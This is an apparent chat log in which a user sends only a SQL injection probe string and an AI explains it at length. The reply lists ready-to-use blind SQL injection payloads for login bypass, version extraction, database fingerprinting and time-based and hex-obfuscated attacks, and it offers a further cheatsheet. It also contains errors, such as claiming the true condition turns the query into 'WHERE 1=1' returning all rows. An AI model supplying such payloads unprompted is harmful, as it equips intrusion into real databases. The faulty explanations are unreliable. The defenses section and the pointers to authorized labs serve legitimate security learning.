用户提问: test') AND 9072=9072#
Ai回答: The payload `test') AND 9072=9072#` is another Boolean-based blind SQL injection technique, but this time it forces a TRUE condition (unlike the previous `3635=1710` example, which forced FALSE). Here's how it works and why attackers use it:
Breakdown of `test') AND 9072=9072#`
1. Structure Manipulation
- `test')` closes the original query's string and parenthesis (if any).
- Example vulnerable query:
```sql
SELECT * FROM users WHERE (username = 'INPUT_HERE');
```
- After injection:
```sql
SELECT * FROM users WHERE (username = 'test') AND 9072=9072#');
```
- The `#` (MySQL) or `--` (other DBs) comments out the remaining syntax to avoid errors.
2. Forcing TRUE
- `9072=9072` is always true, so the query becomes:
```sql
SELECT * FROM users WHERE 1=1; -- Returns all rows
```
- If the application behaves normally (e.g., loads content), the payload worked.
- If it breaks, the input might be sanitized or the query structure is different.
3. Purpose
- Confirm SQLi: Compare with `test') AND 1=0#` (FALSE) to check for behavioral differences.
- Bypass Login: If injected in a login form, it might return all rows (e.g., `admin` entries).
- Blind Data Extraction: Used in conditional queries to infer data (e.g., `AND (SELECT ...) = 1`).
Attack Scenarios
# 1. Login Bypass
- Vulnerable query:
```sql
SELECT * FROM admins WHERE (user = 'admin' AND password = '...');
```
- Injected payload:
```sql
SELECT * FROM admins WHERE (user = 'test') AND 9072=9072# AND password = '...');
```
- Result: The `AND 9072=9072` evaluates to `TRUE`, potentially returning the first admin record.
# 2. Blind Data Leakage
- Check if the database version starts with "5":
```sql
test') AND (SELECT SUBSTRING(@@version,1,1))='5'#
```
- If the page loads normally, the database is likely MySQL 5.x.
# 3. Database Fingerprinting
- MySQL: `test') AND @@version LIKE '10.%'#`
- PostgreSQL: `test') AND version() LIKE 'PostgreSQL%'#`
- Oracle: `test') AND (SELECT banner FROM v$version) LIKE 'Oracle%'#`
Defenses
1. Parameterized Queries (Safe):
```python
cursor.execute("SELECT * FROM users WHERE username = %s", (user_input,))
```
2. Input Validation: Block/escape `'`, `)`, `#`, `AND`, `OR`.
3. WAF Rules: Detect arithmetic expressions like `9072=9072`.
4. Error Handling: Hide database errors (avoid leaking info).
Next Steps for Ethical Testing
1. Labs:
- [PortSwigger SQLi Labs](https://portswigger.net/web-security/sql-injection)
- [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)
2. Advanced Payloads:
- Time-Based: `test') AND IF(1=1,SLEEP(5),0)#`
- Obfuscation: `test') AND 0x50=0x50#` (hex-encoded `'P'='P'`).
🚨 Warning: Only test on authorized systems. Unauthorized SQLi is illegal.
Need a payload cheatsheet or deeper dive into UNION attacks? Let me know!
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提问时间: 2025-05-30 04:16:44
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